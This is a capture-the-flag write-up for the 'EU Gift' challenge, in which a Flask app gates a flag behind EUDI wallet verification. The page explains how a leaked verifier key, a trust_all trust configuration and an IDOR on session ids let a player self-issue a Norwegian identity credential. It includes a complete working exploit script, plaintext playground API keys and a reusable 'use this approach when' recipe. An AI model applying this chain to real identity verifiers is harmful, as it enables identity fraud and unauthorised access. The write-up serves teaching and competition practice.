$ cat writeup.md…
$ cat writeup.md…
FortID CTF 2026
Task: Flask EUDI wallet gate; only certain issuing_country values reach the flag image. Solution: abuse the leaked verifier key plus FortID playground Issuer/Wallet to self-issue a PID with the allowed issuing_country, then feed the resulting verifier session id to the app's IDOR /flag/<id> route.
All EU citizens get free education, free healthcare, and a free flag!
The handout is a Flask / gunicorn app that gates access to a private/flag.svg image behind an EUDI (European Digital Identity) wallet verification. A live instance is reachable at https://<instance>.inst10.ctf.fortid.com. The app exposes:
GET / and GET /flag — landing page.POST /flag — starts a verification session against the FortID Verifier Service (https://evs.fortid.com) and renders a QR code.GET /verification-session/<id>/status — polls a verifier session and returns the status / redirect URL.GET /flag/<verification_session_id> — if the session reports VERIFICATION_SUCCEEDED and the presented claims pass the country allowlist, returns the flag image as an embedded base64 data: URL.GET /unsuccessful/<id> — failure page.Goal: satisfy the country check and retrieve the flag image (flag format FortID{...}).
The handout (app.py, config.yml, Dockerfile, docker-compose.yml, templates/) reveals the whole trust model.
Leaked verifier API key. config.yml stores verifier.api_key: 9LFHJCyxgzDjMsFLUf2FfpiI9ZLTlaLi (fallback for FORTID_VERIFIER_API_KEY) and verifier.base_url: https://evs.fortid.com. This is a FortID playground key, so the same public playground services can be driven by the attacker.
Naive country check. blocked_countries is a deny-list enumerating essentially every ISO 3166-1 alpha-2 code. evaluate_country_claims() accepts a claim only when its issuing_country is a valid ISO code not in the deny-list. In practice the deployed instance admits the Norwegian PID (issuing_country = NO) that we can mint ourselves; every other country is blocked.
No ownership binding on sessions (IDOR / trust confusion). app.py:
flag_result() (GET /flag/<verification_session_id>) calls load_verification_result(verification_session_id), which performs GET {base_url}/verification-session/status/{id} with the app's own API key for any user-supplied id.verification_status() does the same for /verification-session/<id>/status.The id is never tied to a session the app itself created. Any verifier session that reaches VERIFICATION_SUCCEEDED — even one created entirely outside the app — is accepted. The app then trusts the presentedClaims returned by the verifier, including the self-asserted issuing_country.
Attacker-controlled verifier trust config. The app calls the verifier with trustConfig taken from config.yml. The FortID playground verifier also accepts an attacker-supplied trustConfig: "trust_all", and the playground exposes Issuer + Wallet + Verifier services usable with public playground keys (documented at https://docs.fortid.com).
So the chain is: self-issue a PID SD-JWT with issuing_country=NO, present it to a verification session we create ourselves, then hand that verifier verificationSessionId to the challenge app, which happily trusts it (IDOR) and reveals the flag.
Key service endpoints used:
| Service | Base URL | Auth |
|---|---|---|
| Wallet token | https://cape.fortid.com/token | none |
| Wallet | https://ews.fortid.com | Authorization: Bearer <token> |
| Issuer | https://eis.fortid.com | X-API-KEY: HCLN4ZKnWYJAfyNkDnQ57gEAHuejD6MN |
| Verifier | https://evs.fortid.com | X-API-KEY: 9LFHJCyxgzDjMsFLUf2FfpiI9ZLTlaLi |
issuing_country = NOAuthenticate the wallet, create a wallet, create an issuer, add the EUDI PID SD-JWT schema, and initiate issuance with attacker-chosen claims. The ARF PID claim names are used, and place_of_birth must itself be a 2-letter country code.
POST /wallets/{id}/issue/initiate from the credentialOfferUri, poll .../issue/{issuanceSessionId}/session-status, answer .../consent when CONSENT_REQUEST_READY, until ISSUANCE_SUCCEEDED.
POST https://evs.fortid.com/verification-session/initiate (playground verifier key) with trustConfig: "trust_all", credentialDescription for urn:eudi:pid:1 / dc+sd-jwt, disclosurePaths: [["issuing_country"]], protocolConfig.responseMode: direct_post.jwt. Then:
POST /wallets/{id}/verify/initiate with the returned authorization_request, poll .../verify/{sessionId}/session-status, and call .../present with the selectedCredentialId once CONSENT_REQUEST_READY, until VERIFY_SUCCEEDED. The verifier status endpoint then shows VERIFICATION_SUCCEEDED with presentedClaims: {"issuing_country": "NO"}.
The app never binds the verification session to the visitor. Feed our verifier verificationSessionId straight into the challenge:
GET https://<instance>.inst10.ctf.fortid.com/flag/<verificationSessionId>
The app re-queries the verifier with its own key for our id, sees VERIFICATION_SUCCEEDED and issuing_country=NO (allowed), and returns the page embedding the flag image as data:image/...;base64,.... The flag value is not reproduced here.
#!/usr/bin/env python3 # EU Gift (FortID CTF 2026) - end to end # Public FortID playground keys (leaked via handout config.yml). import os, time, requests VERIFIER_URL = "https://evs.fortid.com" VKEY = "9LFHJCyxgzDjMsFLUf2FfpiI9ZLTlaLi" # leaked playground verifier key IKEY = "HCLN4ZKnWYJAfyNkDnQ57gEAHuejD6MN" # public playground issuer key APP = "https://<instance>.inst10.ctf.fortid.com" # 0. wallet bearer token tok = requests.post("https://cape.fortid.com/token", timeout=20).json()["access_token"] WH = {"Authorization": f"Bearer {tok}", "Content-Type": "application/json"} IH = {"X-API-KEY": IKEY, "Content-Type": "application/json"} VH = {"X-API-KEY": VKEY, "Content-Type": "application/json"} # 1. wallet wid = requests.post("https://ews.fortid.com/wallets", headers=WH, timeout=30).json()["walletId"] # 2. issuer iid = "ctf-eugift-" + os.urandom(3).hex() requests.post("https://eis.fortid.com/control/issuer", headers=IH, json={"issuerId": iid}, timeout=30) # 3. add PID schema requests.post(f"https://eis.fortid.com/control/issuer/{iid}/add-schema", headers=IH, json={"schemaId": "eu.europa.ec.eudi.pid_vc_sd_jwt", "credentialMetadata": {"credential_configuration_id": "eu.europa.ec.eudi.pid_vc_sd_jwt"}}, timeout=30) # 4. initiate issuance with self-asserted Norwegian claims claims = { "family_name": "Nordmann", "given_name": "Ola", "birthdate": "1980-05-23", "date_of_issuance": "2025-01-01T00:00:00+00:00", "date_of_expiry": "2030-01-01T00:00:00+00:00", "issuing_authority": "NO", "issuing_country": "NO", "nationalities": ["NO"], "place_of_birth": "NO", # must be a 2-letter country code } r = requests.post(f"https://eis.fortid.com/control/issuer/{iid}/initiate", headers=IH, json={"credentialData": {"credentialConfigurationId": "eu.europa.ec.eudi.pid_vc_sd_jwt", "claims": claims}, "protocolConfig": {"grant_type": "PreAuthorizedCodeWithoutTxCode"}}, timeout=30) d = r.json() cred_offer = d["credentialOfferUri"] # 5. wallet accepts the offer, completes consent wis = requests.post(f"https://ews.fortid.com/wallets/{wid}/issue/initiate", headers=WH, json={"credentialOffer": cred_offer}, timeout=30).json()["issuanceSessionId"] for _ in range(10): st = requests.post(f"https://ews.fortid.com/wallets/{wid}/issue/{wis}/session-status", headers=WH, timeout=30).json().get("status") if st == "ISSUANCE_SUCCEEDED": break if st == "CONSENT_REQUEST_READY": requests.post(f"https://ews.fortid.com/wallets/{wid}/issue/{wis}/consent", headers=WH, json={"preAuthorizedCodeFlow": {}}, timeout=30) time.sleep(1) # 6. verifier session: attacker chooses trust_all and only discloses issuing_country rv = requests.post(f"{VERIFIER_URL}/verification-session/initiate", headers=VH, json={ "credentialDescription": [{"credentialType": "urn:eudi:pid:1", "credentialFormat": "dc+sd-jwt", "disclosurePaths": [["issuing_country"]]}], "trustConfig": "trust_all", "protocolConfig": {"clientIdScheme": "pre-registered", "responseMode": "direct_post.jwt"}, "authorizationRequestType": "byReference", }, timeout=30).json() vsid = rv["verificationSessionId"] aru = rv["authorization_request"] # 7. wallet presents the credential wvs = requests.post(f"https://ews.fortid.com/wallets/{wid}/verify/initiate", headers=WH, json={"authorizationRequest": aru}, timeout=30).json()["verificationSessionId"] sel = None for _ in range(10): j = requests.post(f"https://ews.fortid.com/wallets/{wid}/verify/{wvs}/session-status", headers=WH, timeout=30).json() if j.get("status") == "CONSENT_REQUEST_READY": mc = j["consentRequestObject"]["matching_credentials"] sel = mc[0]["id"] if mc and isinstance(mc[0], dict) else mc break time.sleep(1) requests.post(f"https://ews.fortid.com/wallets/{wid}/verify/{wvs}/present", headers=WH, json={"selectedCredentialId": sel}, timeout=30) time.sleep(1) # 8. IDOR: hand OUR verifier session id to the challenge app page = requests.get(f"{APP}/flag/{vsid}", timeout=30).text assert "data:image" in page # flag image embedded as base64 data URL print("flag page length:", len(page))
/flag/<id>, /verification-session/<id>/status) with no binding to a session the app created. Any verifier session the attacker controls is accepted.issuing_country is asserted by whatever Issuer the Verifier chooses to trust. The playground Issuer lets anyone mint a PID with arbitrary claims, and the verifier accepts an attacker-chosen trustConfig (trust_all). No real government trust anchor is enforced.blocked_countries list instead of a positive allowlist / real trust framework. Whichever single country is omitted determines the required (forgeable) credential.Use this approach when:
config.yml/settings leaks a third-party verifier API key and base_url (FortID, evs.fortid.com).verification_session_id / transaction id in a route and re-queries the identity provider without checking ownership (/flag/<id>, /verification-session/<id>/status) — classic IDOR / session trust confusion.issuing_country, nationalities, roles) that comes from an external verifier.dc+sd-jwt), urn:eudi:pid:1 and exposes playground Issuer/Wallet/Verifier services with public keys — mint your own credential instead of forging raw JWT signatures.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar